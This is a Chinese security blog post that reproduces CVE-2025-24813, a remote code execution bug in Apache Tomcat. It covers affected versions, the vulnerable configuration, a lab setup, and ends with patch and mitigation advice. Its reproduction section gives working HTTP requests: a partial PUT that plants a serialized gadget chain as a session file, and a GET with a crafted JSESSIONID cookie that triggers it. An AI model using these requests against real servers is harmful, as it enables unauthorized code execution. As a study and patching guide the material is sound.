关注我们❤️,添加星标🌟,一起学安全!作者:Howell@Timeline Sec 本文字数:3141 阅读时长:2~4mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。
0x02 漏洞概述
漏洞编号:CVE-2025-24813CVE-2025-24813 是一个高危逻辑漏洞,该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。漏洞产生的根本原因是Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器。
0x03 利用条件
1)影响版本
-
9.0.0.M1 <= Apache Tomcat <= 9.0.98 -
10.1.0-M1 <= Apache Tomcat <= 10.1.34 -
11.0.0-M1 <= Apache Tomcat <= 11.0.2
2)其他条件:
-
满足以下条件,攻击者可以访问或修改安全敏感文件: -
DefaultServlet 启用了写入权限(默认禁用)。 -
服务器启用了 partial PUT(默认启用)。 -
该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件) -
攻击者已知目标敏感文件的路径以及文件名。 -
敏感文件是通过 partial PUT 上传的。 -
满足以下条件,攻击者可以远程代码执行(RCE): -
DefaultServlet 启用了写入权限(默认禁用)。 -
服务器启用了partial PUT(默认启用)。 -
Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。 -
应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。
0x04 环境搭建
安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!
在 JAVA 中国[1] 下载JAVA,并配置环境变量。
在 Apache Tomcat[2] 下载对应漏洞版本的 Tomcat,并配置用户变量。
打开 Tomcat 文件夹,在 conf/web.xml
中添加如下配置,开启 File 文件会话存储
<Context><ManagerclassName="org.apache.catalina.session.PersistentManager"><StoreclassName="org.apache.catalina.session.FileStore"/></Manager></Context>
在 conf/web.xml
中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。
<servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>
下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入 webappsROOTWEB-INF
,在此路径下新建 lib
文件夹,将 CC 放入。
启动 Tomcat,并访问 8080 端口,查看是否启动成功。
0x05 漏洞复现
使用 yakit 抓包。
使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 ysoseri-all.jar 也是可以的)。
由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。
PUT /poc/session HTTP/1.1Host: localhost:8080Content-Length: 1000Content-Range: bytes 0-1000/1200{{base64decode(反序列化文件内容)}}
Content-Range
字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200
表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT
目录下会生成一个 .poc.session
文件。
workCatalinalocalhostROOT
。然后发送触发 POC 的包即可。
GET / HTTP/1.1Host: localhost:8080Cookie: JSESSIONID=.poc
成功弹出计算器!
0x06 修复方式
-
官方修复 Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。 Upgrade to Apache Tomcat 11.0.3 or later Upgrade to Apache Tomcat 10.1.35 or later Upgrade to Apache Tomcat 9.0.99 or late -
临时缓解措施 -
禁用 DefaultServlet 写入功能:在 web.xml
中确保readonly=true
。 -
禁用文件会话持久化:移除 context.xml
中的 PersistentManager 配置。 -
移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。
历史复现
JAVA 中国: https://www.oracle.com/cn/java/technologies/downloads/
[2]Apache Tomcat: https://tomcat.apache.org/
回复【加群】进入微信交流群回复【SRC群】进入SRC-QQ交流群回复【新人】领取新人学习指南资料回复【面试】获取渗透测试常见面试题
回复【手册】获取原创技术PDF手册
回复【合作】获取各类安全项目合作方式回复【帮会】付费加入SRC知识库学习回复【培训】获取TimelineSec创办的实战课程
视频号:搜索TimelineSec,官方微博
团队官网:http://www.timelinesec.com
B站:https://space.bilibili.com/524591903
原文始发于微信公众号(白帽子):CVE-2025-24813:Apache Tomcat远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论